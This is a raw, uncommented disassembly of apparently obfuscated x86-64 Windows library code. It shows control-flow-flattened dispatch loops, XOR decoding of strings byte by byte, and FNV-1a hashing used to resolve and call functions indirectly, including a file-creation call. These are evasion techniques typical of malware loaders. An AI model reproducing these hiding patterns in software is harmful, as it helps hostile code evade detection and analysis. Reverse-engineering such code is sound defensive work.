mov rax, qword [rbp + 0xe0]
mov qword [rbp - 0x68], rax
mov eax, 0x560a9955
jmp 0x1800a7740
mov ecx, dword [rbp + 0xf8]
xor ecx, dword [rbp + 0xe0]
mov byte [rbp + 0xac], cl
mov edx, 0x7f51c43
nop word [rax + rax]
cmp edx, 0x429925e8
jg 0x1800ab660
cmp edx, 0xd96a5cbb
je 0x1800abb62
cmp edx, 0x7f51c43
jne 0x1800ab5f0
mov rdx, qword [rbp + 0xc0]
mov bl, byte [rbp + 0xac]
mov byte [rdx], bl
mov rdx, qword [rbp + 0xc0]
mov dword [rbp + 0xdc], 0x48
mov ebx, 0x1149c90f
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0xe9ff49d1
je 0x1800ab693
cmp ebx, 0x1149c90f
jne 0x1800ab640
mov qword [rbp + 0xe0], rax
mov ebx, 0xe9ff49d1
jmp 0x1800ab640
cmp edx, 0x429925e9
je 0x1800ab6d4
cmp edx, 0x45ad53ce
jne 0x1800ab5f0
mov rcx, qword [rbp + 0xb0]
add rcx, 0xd
mov qword [rbp + 0xf8], rcx
mov edx, 0x429925e9
mov rcx, qword [rbp + 0xd0]
jmp 0x1800ab5f0
mov rbx, qword [rbp + 0xe0]
mov bl, byte [rbx]
mov byte [rbp + 0xbc], bl
mov ebx, 0x98a63856
nop word [rax + rax]
cmp ebx, 0xcf499829
je 0x1800ab6f4
cmp ebx, 0x98a63856
jne 0x1800ab6b0
movsx ebx, byte [rbp + 0xbc]
mov dword [rbp + 0xe0], ebx
mov ebx, 0xcf499829
jmp 0x1800ab6b0
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0xf8]
mov edx, 0x429925e9
mov ebx, 0xd96a5cbb
cmove edx, ebx
jmp 0x1800ab5f0
mov ebx, dword [rbp + 0xdc]
xor ebx, dword [rbp + 0xe0]
mov byte [rdx + 1], bl
mov dword [rbp + 0xdc], 0x61
mov ebx, 0x1149c90f
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xe9ff49d1
je 0x1800ab73e
cmp ebx, 0x1149c90f
jne 0x1800ab720
mov qword [rbp + 0xe0], rax
mov ebx, 0xe9ff49d1
jmp 0x1800ab720
mov rbx, qword [rbp + 0xe0]
mov bl, byte [rbx]
mov byte [rbp + 0xbc], bl
mov ebx, 0x98a63856
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xcf499829
je 0x1800ab784
cmp ebx, 0x98a63856
jne 0x1800ab760
movsx ebx, byte [rbp + 0xbc]
mov dword [rbp + 0xe0], ebx
mov ebx, 0xcf499829
jmp 0x1800ab760
mov ebx, dword [rbp + 0xdc]
xor ebx, dword [rbp + 0xe0]
mov byte [rdx + 2], bl
mov dword [rbp + 0xdc], WSAStartup
mov ebx, 0x1149c90f
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xe9ff49d1
je 0x1800ab7ce
cmp ebx, 0x1149c90f
jne 0x1800ab7b0
mov qword [rbp + 0xe0], rax
mov ebx, 0xe9ff49d1
jmp 0x1800ab7b0
mov rbx, qword [rbp + 0xe0]
mov bl, byte [rbx]
mov byte [rbp + 0xbc], bl
mov ebx, 0x98a63856
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xcf499829
je 0x1800ab814
cmp ebx, 0x98a63856
jne 0x1800ab7f0
movsx ebx, byte [rbp + 0xbc]
mov dword [rbp + 0xe0], ebx
mov ebx, 0xcf499829
jmp 0x1800ab7f0
mov ebx, dword [rbp + 0xdc]
xor ebx, dword [rbp + 0xe0]
mov byte [rdx + 3], bl
mov dword [rbp + 0xdc], 0x64
mov ebx, 0x1149c90f
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xe9ff49d1
je 0x1800ab85e
cmp ebx, 0x1149c90f
jne 0x1800ab840
mov qword [rbp + 0xe0], rax
mov ebx, 0xe9ff49d1
jmp 0x1800ab840
mov rbx, qword [rbp + 0xe0]
mov bl, byte [rbx]
mov byte [rbp + 0xbc], bl
mov ebx, 0x98a63856
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xcf499829
je 0x1800ab8a4
cmp ebx, 0x98a63856
jne 0x1800ab880
movsx ebx, byte [rbp + 0xbc]
mov dword [rbp + 0xe0], ebx
mov ebx, 0xcf499829
jmp 0x1800ab880
mov ebx, dword [rbp + 0xdc]
xor ebx, dword [rbp + 0xe0]
mov byte [rdx + 4], bl
mov dword [rbp + 0xdc], WSAStartup
mov ebx, 0x1149c90f
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xe9ff49d1
je 0x1800ab8ee
cmp ebx, 0x1149c90f
jne 0x1800ab8d0
mov qword [rbp + 0xe0], rax
mov ebx, 0xe9ff49d1
jmp 0x1800ab8d0
mov rbx, qword [rbp + 0xe0]
mov bl, byte [rbx]
mov byte [rbp + 0xbc], bl
mov ebx, 0x98a63856
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xcf499829
je 0x1800ab934
cmp ebx, 0x98a63856
jne 0x1800ab910
movsx ebx, byte [rbp + 0xbc]
mov dword [rbp + 0xe0], ebx
mov ebx, 0xcf499829
jmp 0x1800ab910
mov ebx, dword [rbp + 0xdc]
xor ebx, dword [rbp + 0xe0]
mov byte [rdx + 5], bl
mov dword [rbp + 0xdc], 0x65
mov ebx, 0x1149c90f
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xe9ff49d1
je 0x1800ab97e
cmp ebx, 0x1149c90f
jne 0x1800ab960
mov qword [rbp + 0xe0], rax
mov ebx, 0xe9ff49d1
jmp 0x1800ab960
mov rbx, qword [rbp + 0xe0]
mov bl, byte [rbx]
mov byte [rbp + 0xbc], bl
mov ebx, 0x98a63856
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xcf499829
je 0x1800ab9c4
cmp ebx, 0x98a63856
jne 0x1800ab9a0
movsx ebx, byte [rbp + 0xbc]
mov dword [rbp + 0xe0], ebx
mov ebx, 0xcf499829
jmp 0x1800ab9a0
mov ebx, dword [rbp + 0xdc]
xor ebx, dword [rbp + 0xe0]
mov byte [rdx + 6], bl
add rdx, 7
mov qword [rbp + 0xd0], rdx
mov edx, 0x45ad53ce
jmp 0x1800ab5f0
mov rdx, qword [rbp + 0xe0]
mov dl, byte [rdx]
mov byte [rbp + 0xd0], dl
mov edx, 0x1f803b35
nop dword [rax]
cmp edx, 0xb953ffa3
je 0x1800abf07
cmp edx, 0x1f803b35
jne 0x1800aba00
movsx edx, byte [rbp + 0xd0]
xor edx, dword [rbp + 0xf8]
mov dword [rbp + 0xe0], edx
mov edx, 0xb953ffa3
jmp 0x1800aba00
mov dl, byte [rbp + 0xd0]
mov byte [rcx + 0xa], dl
add rcx, 0xb
mov qword [rbp + 0xc0], rcx
mov edx, 0x57e42653
nop word [rax + rax]
cmp edx, 0x101faf38
jg 0x1800aba90
cmp edx, 0x9bc3632c
je 0x1800abf42
cmp edx, 0xad23eaa8
jne 0x1800aba50
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0xf8]
mov edx, 0xad23eaa8
mov ebx, 0x9bc3632c
cmove edx, ebx
jmp 0x1800aba50
cmp edx, 0x101faf39
je 0x1800abab5
cmp edx, 0x57e42653
jne 0x1800aba50
lea rdx, [0x1800dfa7e]
mov qword [rbp + 0xd0], rdx
mov edx, 0x101faf39
jmp 0x1800aba50
mov rcx, qword [rbp + 0xd0]
mov cl, byte [rcx]
movsx rdx, byte [rax]
mov ebx, 0x5c484166
nop word [rax + rax]
cmp ebx, 0x4aaab3ae
je 0x1800abb2c
cmp ebx, 0x5c484166
jne 0x1800abad0
mov qword [rbp + 0xe0], rdx
mov ebx, 0x7d1bb60
nop dword [rax]
cmp ebx, 0x7a4faacd
je 0x1800abb17
cmp ebx, 0x7d1bb60
jne 0x1800abaf0
mov rbx, qword [rbp + 0xe0]
add bl, 0xa
mov byte [rbp + 0xdc], bl
mov ebx, 0x7a4faacd
jmp 0x1800abaf0
mov bl, byte [rbp + 0xdc]
xor bl, cl
mov byte [rbp + 0xbc], bl
mov ebx, 0x4aaab3ae
jmp 0x1800abad0
mov cl, byte [rbp + 0xbc]
mov rdx, qword [rbp + 0xc0]
mov byte [rdx], cl
mov rcx, qword [rbp + 0xc0]
add rcx, 1
mov rdx, qword [rbp + 0xb0]
add rdx, 0xd
mov qword [rbp + 0xf8], rdx
mov edx, 0xad23eaa8
jmp 0x1800aba50
mov rcx, qword [rbp + 0x68]
sub rsp, 0x20
call fcn.1800acad0
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov esi, 0x5a095eaf
jmp 0x1800abbb0
movsxd rdi, r8d
xor rdi, qword [rbp + 0xe0]
imul rdi, r9
mov ebx, dword [rbp + 0xd0]
add ebx, 1
mov esi, 0x3f5c8003
nop dword [rax]
cmp esi, 0x225a7bc4
jle 0x1800abc00
cmp esi, 0x47bbb916
jle 0x1800abc60
cmp esi, 0x5a3f4fc7
jg 0x1800abd09
cmp esi, 0x47bbb917
je 0x1800abdd4
cmp esi, 0x4e13d4a4
je 0x1800abde3
cmp esi, 0x5a095eaf
jne 0x1800abbb0
mov esi, 0xcc3ba284
jmp 0x1800abbb0
cmp esi, 0xe575f6ff
jg 0x1800abcc0
cmp esi, 0xb1175138
jle 0x1800abd47
cmp esi, 0xb1175139
je 0x1800abded
cmp esi, 0xcc3ba284
je 0x1800abe02
cmp esi, 0xd557fee3
jne 0x1800abbb0
mov ecx, dword [rbp + 0xdc]
or ecx, 0x20
mov dword [rbp + 0xb0], ecx
mov esi, 0xf3a692f1
jmp 0x1800abbb0
cmp esi, 0x297bd53c
jle 0x1800abd70
cmp esi, 0x297bd53d
je 0x1800abb90
cmp esi, 0x3b762931
je 0x1800abe0e
cmp esi, 0x3f5c8003
jne 0x1800abbb0
mov dword [rbp + 0xd0], ebx
mov qword [rbp + 0xe0], rdi
mov esi, dword [rbp + 0xc0]
mov ecx, dword [rbp + 0xd0]
cmp ecx, esi
mov esi, 0x9c018438
cmovb esi, r14d
jmp 0x1800abbb0
cmp esi, 0xf3632eba
jle 0x1800abda2
cmp esi, 0xf3632ebb
je 0x1800abe18
cmp esi, 0xf3a692f1
je 0x1800abe22
cmp esi, 0x15c3f435
jne 0x1800abbb0
mov esi, dword [rbp + 0xc0]
add esi, 1
mov dword [rbp + 0xbc], esi
mov esi, 0x4e13d4a4
jmp 0x1800abbb0
cmp esi, 0x5a3f4fc8
je 0x1800abe33
cmp esi, 0x663c52c8
je 0x1800abe48
cmp esi, 0x7a49349b
jne 0x1800abbb0
mov ecx, dword [rbp + 0xd0]
add rcx, rax
mov qword [rbp + 0xf8], rcx
mov esi, 0x2758122a
jmp 0x1800abbb0
cmp esi, 0x820447f7
je 0x1800abe75
cmp esi, 0x928c3d39
jne 0x1800abec3
mov esi, 0x297bd53d
mov r8d, dword [rbp + 0xdc]
jmp 0x1800abbb0
cmp esi, 0x225a7bc5
je 0x1800abe8f
cmp esi, 0x2758122a
jne 0x1800abbb0
mov rcx, qword [rbp + 0xf8]
movzx ecx, byte [rcx]
mov byte [rbp + 0xcd], cl
mov esi, 0x225a7bc5
jmp 0x1800abbb0
cmp esi, 0xe575f700
je 0x1800abeb3
cmp esi, 0xf21ebfc4
jne 0x1800abbb0
mov esi, dword [rbp + 0xac]
cmp esi, 0x7f
setl byte [rbp + 0xce]
mov esi, 0xb1175139
jmp 0x1800abbb0
mov esi, 0x3f5c8003
xor ebx, ebx
mov rdi, r12
jmp 0x1800abbb0
mov esi, 0xe575f700
jmp 0x1800abbb0
cmp byte [rbp + 0xce], 0
mov esi, 0xf3632ebb
cmovne esi, r10d
jmp 0x1800abbb0
mov esi, 0x663c52c8
xor edx, edx
jmp 0x1800abbb0
mov esi, 0x47bbb917
jmp 0x1800abbb0
mov esi, 0x3b762931
jmp 0x1800abbb0
mov esi, 0x297bd53d
mov r8d, dword [rbp + 0xb0]
jmp 0x1800abbb0
cmp byte [rbp + 0xcf], 0
mov esi, 0x928c3d39
cmovne esi, r15d
jmp 0x1800abbb0
mov dword [rbp + 0xc0], edx
mov esi, dword [rbp + 0xc0]
movsx esi, byte [rax + rsi]
mov dword [rbp + 0xac], esi
mov esi, dword [rbp + 0xac]
cmp esi, 0x1f
mov esi, 0xf3632ebb
cmovg esi, r13d
jmp 0x1800abbb0
mov ecx, dword [rbp + 0xdc]
cmp ecx, 0x5b
setl byte [rbp + 0xcf]
mov esi, 0x5a3f4fc8
jmp 0x1800abbb0
movsx ecx, byte [rbp + 0xcd]
mov dword [rbp + 0xdc], ecx
mov ecx, dword [rbp + 0xdc]
cmp ecx, 0x40
mov esi, 0x928c3d39
cmovg esi, r11d
jmp 0x1800abbb0
mov esi, 0x663c52c8
mov edx, dword [rbp + 0xbc]
jmp 0x1800abbb0
cmp esi, 0x9c018438
jne 0x1800abbb0
mov rcx, qword [rbp + 0xe0]
sub rsp, 0x20
call fcn.1800ae820
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov qword [rbp - 0x60], rax
mov eax, 0x618a81d7
jmp 0x1800a7740
mov edx, dword [rbp + 0xe0]
mov byte [rax + 5], dl
mov dword [rbp + 0xf8], 0x65
mov edx, 0xc0743482
nop
cmp edx, 0x6ff6c861
je 0x1800ac2f8
cmp edx, 0xc0743482
jne 0x1800abf20
mov qword [rbp + 0xe0], rcx
mov edx, 0x6ff6c861
jmp 0x1800abf20
mov rcx, qword [rbp + 0x50]
sub rsp, 0x20
call fcn.1800accd0
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov esi, 0x5a095eaf
jmp 0x1800abf90
movsxd rdi, r8d
xor rdi, qword [rbp + 0xe0]
imul rdi, r9
mov ebx, dword [rbp + 0xd0]
add ebx, 1
mov esi, 0x3f5c8003
nop dword [rax]
cmp esi, 0x225a7bc4
jle 0x1800abfe0
cmp esi, 0x47bbb916
jle 0x1800ac040
cmp esi, 0x5a3f4fc7
jg 0x1800ac0e9
cmp esi, 0x47bbb917
je 0x1800ac1b4
cmp esi, 0x4e13d4a4
je 0x1800ac1c3
cmp esi, 0x5a095eaf
jne 0x1800abf90
mov esi, 0xcc3ba284
jmp 0x1800abf90
cmp esi, 0xe575f6ff
jg 0x1800ac0a0
cmp esi, 0xb1175138
jle 0x1800ac127
cmp esi, 0xb1175139
je 0x1800ac1cd
cmp esi, 0xcc3ba284
je 0x1800ac1e2
cmp esi, 0xd557fee3
jne 0x1800abf90
mov ecx, dword [rbp + 0xdc]
or ecx, 0x20
mov dword [rbp + 0xb0], ecx
mov esi, 0xf3a692f1
jmp 0x1800abf90
cmp esi, 0x297bd53c
jle 0x1800ac150
cmp esi, 0x297bd53d
je 0x1800abf70
cmp esi, 0x3b762931
je 0x1800ac1ee
cmp esi, 0x3f5c8003
jne 0x1800abf90
mov dword [rbp + 0xd0], ebx
mov qword [rbp + 0xe0], rdi
mov esi, dword [rbp + 0xc0]
mov ecx, dword [rbp + 0xd0]
cmp ecx, esi
mov esi, 0x9c018438
cmovb esi, r14d
jmp 0x1800abf90
cmp esi, 0xf3632eba
jle 0x1800ac182
cmp esi, 0xf3632ebb
je 0x1800ac1f8
cmp esi, 0xf3a692f1
je 0x1800ac202
cmp esi, 0x15c3f435
jne 0x1800abf90
mov esi, dword [rbp + 0xc0]
add esi, 1
mov dword [rbp + 0xbc], esi
mov esi, 0x4e13d4a4
jmp 0x1800abf90
cmp esi, 0x5a3f4fc8
je 0x1800ac213
cmp esi, 0x663c52c8
je 0x1800ac228
cmp esi, 0x7a49349b
jne 0x1800abf90
mov ecx, dword [rbp + 0xd0]
add rcx, rax
mov qword [rbp + 0xf8], rcx
mov esi, 0x2758122a
jmp 0x1800abf90
cmp esi, 0x820447f7
je 0x1800ac255
cmp esi, 0x928c3d39
jne 0x1800ac2a3
mov esi, 0x297bd53d
mov r8d, dword [rbp + 0xdc]
jmp 0x1800abf90
cmp esi, 0x225a7bc5
je 0x1800ac26f
cmp esi, 0x2758122a
jne 0x1800abf90
mov rcx, qword [rbp + 0xf8]
movzx ecx, byte [rcx]
mov byte [rbp + 0xcd], cl
mov esi, 0x225a7bc5
jmp 0x1800abf90
cmp esi, 0xe575f700
je 0x1800ac293
cmp esi, 0xf21ebfc4
jne 0x1800abf90
mov esi, dword [rbp + 0xac]
cmp esi, 0x7f
setl byte [rbp + 0xce]
mov esi, 0xb1175139
jmp 0x1800abf90
mov esi, 0x3f5c8003
xor ebx, ebx
mov rdi, r12
jmp 0x1800abf90
mov esi, 0xe575f700
jmp 0x1800abf90
cmp byte [rbp + 0xce], 0
mov esi, 0xf3632ebb
cmovne esi, r10d
jmp 0x1800abf90
mov esi, 0x663c52c8
xor edx, edx
jmp 0x1800abf90
mov esi, 0x47bbb917
jmp 0x1800abf90
mov esi, 0x3b762931
jmp 0x1800abf90
mov esi, 0x297bd53d
mov r8d, dword [rbp + 0xb0]
jmp 0x1800abf90
cmp byte [rbp + 0xcf], 0
mov esi, 0x928c3d39
cmovne esi, r15d
jmp 0x1800abf90
mov dword [rbp + 0xc0], edx
mov esi, dword [rbp + 0xc0]
movsx esi, byte [rax + rsi]
mov dword [rbp + 0xac], esi
mov esi, dword [rbp + 0xac]
cmp esi, 0x1f
mov esi, 0xf3632ebb
cmovg esi, r13d
jmp 0x1800abf90
mov ecx, dword [rbp + 0xdc]
cmp ecx, 0x5b
setl byte [rbp + 0xcf]
mov esi, 0x5a3f4fc8
jmp 0x1800abf90
movsx ecx, byte [rbp + 0xcd]
mov dword [rbp + 0xdc], ecx
mov ecx, dword [rbp + 0xdc]
cmp ecx, 0x40
mov esi, 0x928c3d39
cmovg esi, r11d
jmp 0x1800abf90
mov esi, 0x663c52c8
mov edx, dword [rbp + 0xbc]
jmp 0x1800abf90
cmp esi, 0x9c018438
jne 0x1800abf90
mov rcx, qword [rbp + 0xe0]
sub rsp, 0x20
call fcn.1800ae820
add rsp, 0x20
mov rcx, qword [rbp + 0x90]
sub rsp, 0x20
call rax
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov rax, qword [rbp - 0x38]
mov eax, 0xac9da83
jmp 0x1800a7740
mov rdx, qword [rbp + 0xe0]
mov dl, byte [rdx]
mov byte [rbp + 0xd0], dl
mov edx, 0x1f803b35
nop dword [rax]
cmp edx, 0xb953ffa3
je 0x1800ac33a
cmp edx, 0x1f803b35
jne 0x1800ac310
movsx edx, byte [rbp + 0xd0]
xor edx, dword [rbp + 0xf8]
mov dword [rbp + 0xe0], edx
mov edx, 0xb953ffa3
jmp 0x1800ac310
mov edx, dword [rbp + 0xe0]
mov byte [rax + 6], dl
mov dword [rbp + 0xf8], 0x46
mov edx, 0xc0743482
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x6ff6c861
je 0x1800ac37e
cmp edx, 0xc0743482
jne 0x1800ac360
mov qword [rbp + 0xe0], rcx
mov edx, 0x6ff6c861
jmp 0x1800ac360
mov rdx, qword [rbp + 0xe0]
mov dl, byte [rdx]
mov byte [rbp + 0xd0], dl
mov edx, 0x1f803b35
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xb953ffa3
je 0x1800ac3ca
cmp edx, 0x1f803b35
jne 0x1800ac3a0
movsx edx, byte [rbp + 0xd0]
xor edx, dword [rbp + 0xf8]
mov dword [rbp + 0xe0], edx
mov edx, 0xb953ffa3
jmp 0x1800ac3a0
mov edx, dword [rbp + 0xe0]
mov byte [rax + 7], dl
add rax, 8
mov qword [rbp + 0xc0], rax
mov dword [rbp + 0xf8], 0x69
mov eax, 0xc0743482
nop dword [rax]
cmp eax, 0x6ff6c861
je 0x1800ac40c
cmp eax, 0xc0743482
jne 0x1800ac3f0
mov qword [rbp + 0xe0], rcx
mov eax, 0x6ff6c861
jmp 0x1800ac3f0
mov rax, qword [rbp + 0xe0]
mov al, byte [rax]
mov byte [rbp + 0xd0], al
mov eax, 0x1f803b35
cmp eax, 0xb953ffa3
je 0x1800ac448
cmp eax, 0x1f803b35
jne 0x1800ac420
movsx eax, byte [rbp + 0xd0]
xor eax, dword [rbp + 0xf8]
mov dword [rbp + 0xe0], eax
mov eax, 0xb953ffa3
jmp 0x1800ac420
mov eax, dword [rbp + 0xe0]
mov rdx, qword [rbp + 0xc0]
mov byte [rdx], al
mov edx, 0x553e6a5d
nop dword [rax]
cmp edx, 0x3e6de554
jg 0x1800ac480
cmp edx, 0xc9d0ada1
je 0x1800ac4ce
cmp edx, 0xf1164faf
jne 0x1800ac460
jmp 0x1800ac6a0
cmp edx, 0x3e6de555
je 0x1800ac4ee
cmp edx, 0x553e6a5d
jne 0x1800ac460
mov rdx, qword [rbp + 0xc0]
mov dword [rbp + 0xdc], WSAStartup
mov ebx, 0xc0743482
nop word cs:[rax + rax]
cmp ebx, 0x6ff6c861
je 0x1800ac524
cmp ebx, 0xc0743482
jne 0x1800ac4b0
mov qword [rbp + 0xe0], rcx
mov ebx, 0x6ff6c861
jmp 0x1800ac4b0
mov byte [rax], 0
add rax, 1
cmp rax, qword [rbp + 0xf8]
mov edx, 0xc9d0ada1
mov ebx, 0xf1164faf
cmove edx, ebx
jmp 0x1800ac460
mov rax, qword [rbp + 0xd0]
mov dl, byte [rbp + 0xac]
mov byte [rax], dl
mov rax, qword [rbp + 0xd0]
add rax, 1
mov rdx, qword [rbp + 0xb0]
add rdx, 0xd
mov qword [rbp + 0xf8], rdx
mov edx, 0xc9d0ada1
jmp 0x1800ac460
mov rbx, qword [rbp + 0xe0]
mov bl, byte [rbx]
mov byte [rbp + 0xbc], bl
mov ebx, 0x1f803b35
nop dword [rax + rax]
cmp ebx, 0xb953ffa3
je 0x1800ac56a
cmp ebx, 0x1f803b35
jne 0x1800ac540
movsx ebx, byte [rbp + 0xbc]
xor ebx, dword [rbp + 0xdc]
mov dword [rbp + 0xe0], ebx
mov ebx, 0xb953ffa3
jmp 0x1800ac540
mov ebx, dword [rbp + 0xe0]
mov byte [rdx + 1], bl
mov dword [rbp + 0xdc], 0x65
mov ebx, 0xc0743482
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x6ff6c861
je 0x1800ac5ae
cmp ebx, 0xc0743482
jne 0x1800ac590
mov qword [rbp + 0xe0], rcx
mov ebx, 0x6ff6c861
jmp 0x1800ac590
mov rbx, qword [rbp + 0xe0]
mov bl, byte [rbx]
mov byte [rbp + 0xbc], bl
mov ebx, 0x1f803b35
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xb953ffa3
je 0x1800ac5fa
cmp ebx, 0x1f803b35
jne 0x1800ac5d0
movsx ebx, byte [rbp + 0xbc]
xor ebx, dword [rbp + 0xdc]
mov dword [rbp + 0xe0], ebx
mov ebx, 0xb953ffa3
jmp 0x1800ac5d0
mov ebx, dword [rbp + 0xe0]
mov byte [rdx + 2], bl
add rdx, 3
mov qword [rbp + 0xd0], rdx
mov dword [rbp + 0xdc], 0x57
mov edx, 0xc0743482
nop dword [rax]
cmp edx, 0x6ff6c861
je 0x1800ac63e
cmp edx, 0xc0743482
jne 0x1800ac620
mov qword [rbp + 0xe0], rcx
mov edx, 0x6ff6c861
jmp 0x1800ac620
mov rdx, qword [rbp + 0xe0]
mov dl, byte [rdx]
mov byte [rbp + 0xbc], dl
mov edx, 0x1f803b35
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xb953ffa3
je 0x1800ac68a
cmp edx, 0x1f803b35
jne 0x1800ac660
movsx edx, byte [rbp + 0xbc]
xor edx, dword [rbp + 0xdc]
mov dword [rbp + 0xe0], edx
mov edx, 0xb953ffa3
jmp 0x1800ac660
mov edx, dword [rbp + 0xe0]
mov byte [rbp + 0xac], dl
mov edx, 0x3e6de555
jmp 0x1800ac460
sub rsp, 0x20
call fcn.180037900
add rsp, 0x20
mov esi, 0x5a095eaf
movabs r9, 0x100000001b3
mov r10d, 0x15c3f435
mov r11d, 0x820447f7
jmp 0x1800ac6f0
movsxd rdi, r8d
xor rdi, qword [rbp + 0xe0]
imul rdi, r9
mov ebx, dword [rbp + 0xd0]
add ebx, 1
mov esi, 0x3f5c8003
nop word cs:[rax + rax]
cmp esi, 0x225a7bc4
jle 0x1800ac740
cmp esi, 0x47bbb916
jle 0x1800ac7a0
cmp esi, 0x5a3f4fc7
jg 0x1800ac849
cmp esi, 0x47bbb917
je 0x1800ac914
cmp esi, 0x4e13d4a4
je 0x1800ac923
cmp esi, 0x5a095eaf
jne 0x1800ac6f0
mov esi, 0xcc3ba284
jmp 0x1800ac6f0
cmp esi, 0xe575f6ff
jg 0x1800ac800
cmp esi, 0xb1175138
jle 0x1800ac887
cmp esi, 0xb1175139
je 0x1800ac92d
cmp esi, 0xcc3ba284
je 0x1800ac942
cmp esi, 0xd557fee3
jne 0x1800ac6f0
mov ecx, dword [rbp + 0xdc]
or ecx, 0x20
mov dword [rbp + 0xb0], ecx
mov esi, 0xf3a692f1
jmp 0x1800ac6f0
cmp esi, 0x297bd53c
jle 0x1800ac8b0
cmp esi, 0x297bd53d
je 0x1800ac6ca
cmp esi, 0x3b762931
je 0x1800ac94e
cmp esi, 0x3f5c8003
jne 0x1800ac6f0
mov dword [rbp + 0xd0], ebx
mov qword [rbp + 0xe0], rdi
mov esi, dword [rbp + 0xc0]
mov ecx, dword [rbp + 0xd0]
cmp ecx, esi
mov esi, 0x9c018438
cmovb esi, r14d
jmp 0x1800ac6f0
cmp esi, 0xf3632eba
jle 0x1800ac8e2
cmp esi, 0xf3632ebb
je 0x1800ac958
cmp esi, 0xf3a692f1
je 0x1800ac962
cmp esi, 0x15c3f435
jne 0x1800ac6f0
mov esi, dword [rbp + 0xc0]
add esi, 1
mov dword [rbp + 0xbc], esi
mov esi, 0x4e13d4a4
jmp 0x1800ac6f0
cmp esi, 0x5a3f4fc8
je 0x1800ac973
cmp esi, 0x663c52c8
je 0x1800ac988
cmp esi, 0x7a49349b
jne 0x1800ac6f0
mov ecx, dword [rbp + 0xd0]
add rcx, rax
mov qword [rbp + 0xf8], rcx
mov esi, 0x2758122a
jmp 0x1800ac6f0
cmp esi, 0x820447f7
je 0x1800ac9b5
cmp esi, 0x928c3d39
jne 0x1800aca03
mov esi, 0x297bd53d
mov r8d, dword [rbp + 0xdc]
jmp 0x1800ac6f0
cmp esi, 0x225a7bc5
je 0x1800ac9cf
cmp esi, 0x2758122a
jne 0x1800ac6f0
mov rcx, qword [rbp + 0xf8]
movzx ecx, byte [rcx]
mov byte [rbp + 0xcd], cl
mov esi, 0x225a7bc5
jmp 0x1800ac6f0
cmp esi, 0xe575f700
je 0x1800ac9f3
cmp esi, 0xf21ebfc4
jne 0x1800ac6f0
mov esi, dword [rbp + 0xac]
cmp esi, 0x7f
setl byte [rbp + 0xce]
mov esi, 0xb1175139
jmp 0x1800ac6f0
mov esi, 0x3f5c8003
xor ebx, ebx
mov rdi, r12
jmp 0x1800ac6f0
mov esi, 0xe575f700
jmp 0x1800ac6f0
cmp byte [rbp + 0xce], 0
mov esi, 0xf3632ebb
cmovne esi, r10d
jmp 0x1800ac6f0
mov esi, 0x663c52c8
xor edx, edx
jmp 0x1800ac6f0
mov esi, 0x47bbb917
jmp 0x1800ac6f0
mov esi, 0x3b762931
jmp 0x1800ac6f0
mov esi, 0x297bd53d
mov r8d, dword [rbp + 0xb0]
jmp 0x1800ac6f0
cmp byte [rbp + 0xcf], 0
mov esi, 0x928c3d39
cmovne esi, r15d
jmp 0x1800ac6f0
mov dword [rbp + 0xc0], edx
mov esi, dword [rbp + 0xc0]
movsx esi, byte [rax + rsi]
mov dword [rbp + 0xac], esi
mov esi, dword [rbp + 0xac]
cmp esi, 0x1f
mov esi, 0xf3632ebb
cmovg esi, r13d
jmp 0x1800ac6f0
mov ecx, dword [rbp + 0xdc]
cmp ecx, 0x5b
setl byte [rbp + 0xcf]
mov esi, 0x5a3f4fc8
jmp 0x1800ac6f0
movsx ecx, byte [rbp + 0xcd]
mov dword [rbp + 0xdc], ecx
mov ecx, dword [rbp + 0xdc]
cmp ecx, 0x40
mov esi, 0x928c3d39
cmovg esi, r11d
jmp 0x1800ac6f0
mov esi, 0x663c52c8
mov edx, dword [rbp + 0xbc]
jmp 0x1800ac6f0
cmp esi, 0x9c018438
jne 0x1800ac6f0
mov rcx, qword [rbp + 0xe0]
sub rsp, 0x20
call fcn.1800ae820
sub rsp, 0x20
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
mov rcx, qword [rbp - 0x58]
mov edx, 0x40000000
mov r8d, 3
xor r9d, r9d
call rax
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x40
mov qword [rbp + 0x90], rax
mov eax, 0x69fd7036
jmp 0x1800a7740
cmp eax, 0xe50cf3a6
jne 0x1800a7740
mov rax, qword [rbp + 8]
mov rax, qword [rbp + 0x10]
mov rax, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x100]
xor rcx, rbp
sub rsp, 0x20
call fcn.1800ba080
add rsp, 0x20
mov eax, dword [rbp + 0xa8]
lea rsp, [rbp + 0x108]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret